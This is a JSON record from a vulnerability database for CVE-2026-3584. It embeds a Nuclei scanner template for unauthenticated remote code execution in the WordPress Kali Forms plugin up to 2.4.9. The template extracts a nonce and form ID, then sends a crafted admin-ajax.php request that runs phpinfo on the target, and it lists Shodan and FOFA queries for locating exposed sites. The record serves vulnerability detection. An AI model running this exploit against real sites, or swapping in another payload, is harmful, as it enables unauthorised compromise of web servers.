{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2026-3584/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2026-3584/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2026-3584/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2026-3584/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2026-3584/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2026-3584"},"sightings":{"href":"/api/v1/sightings/cve-2026-3584"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2026/CVE-2026-3584.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2026-3584\n\ninfo:\n  name: WordPress Kali Forms <= 2.4.9 - Remote Code Execution\n  author: pussycat0x\n  severity: critical\n  description: |\n    Kali Forms WordPress plugin <= 2.4.9 contains a remote code execution caused by unsafe user input handling in 'form_process' and 'prepare_post_data' functions, letting unauthenticated attackers execute code on the server, exploit requires no authentication.\n  impact: |\n    Unauthenticated attackers can execute arbitrary code on the server, potentially leading to full system compromise.\n  remediation: |\n    Update to the latest version beyond 2.4.9.\n  reference:\n    - https://wordpress.org/plugins/kali-forms/\n    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kali-forms/kali-forms-249-unauthenticated-remote-code-execution-via-form-process\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2026-3584\n    epss-score: 0.07239\n    epss-percentile: 0.94353\n    cwe-id: CWE-94\n  metadata:\n    verified: true\n    max-request: 6\n    product: kali-forms\n    framework: wordpress\n    fofa-query: body=\"kali-forms\"\n    shodan-query: http.component:\"WordPress\" http.html:\"kali-forms\"\n  tags: cve,cve2026,wordpress,wp-plugin,kali-forms,rce,unauth,vkev\n\nflow: |\n  var paths = [\"/contact-us/\", \"/contact/\", \"/form/\", \"/feedback/\", \"/\"];\n  for (var i = 0; i < paths.length; i++) {\n    set(\"form_path\", paths[i]);\n    if (http(1)) {\n      http(2);\n      break;\n    }\n  }\n\nhttp:\n  - raw:\n      - |\n        GET {{form_path}} HTTP/1.1\n        Host: {{Hostname}}\n\n    redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains(body, \"KaliFormsObject\")'\n          - 'contains(body, \"ajax_nonce\")'\n        condition: and\n        internal: true\n\n    extractors:\n      - type: regex\n        name: nonce\n        part: body\n        group: 1\n        regex:\n          - 'ajax_nonce\":\"([a-f0-9]+)\"'\n        internal: true\n\n      - type: regex\n        name: form_id\n        part: body\n        group: 1\n        regex:\n          - 'data-form-id=\"(\\d+)\"'\n        internal: true\n\n      - type: regex\n        name: version\n        part: body\n        group: 1\n        regex:\n          - 'kali-forms/[^\"]*(?:js|css)\\?ver=([0-9.]+)'\n        internal: true\n\n  - raw:\n      - |\n        POST /wp-admin/admin-ajax.php HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        action=kaliforms_form_process&data[nonce]={{nonce}}&data[formId]={{form_id}}&data[first-name]=test&data[last-name]=user&data[email]=test%40example.com&data[message]=test&data[thisPermalink]=phpinfo\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"phpinfo()</title>\"\n          - \"PHP Extension\"\n          - \"PHP Version\"\n        condition: and\n\n      - type: status\n        status:\n          - 200\n\n    extractors:\n      - type: regex\n        name: php_version\n        part: body\n        group: 1\n        regex:\n          - 'PHP Version ([0-9.]+)'\n# digest: 4b0a00483046022100a915998be45e7690d8b7603765fd9ebf43b517dc05d737bf4287467f9a82f0fa022100813ba261ecc0ebd8f6cbad3f8457e262276d9388afb7924a39fb0dd49c875f47:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2026-3584"}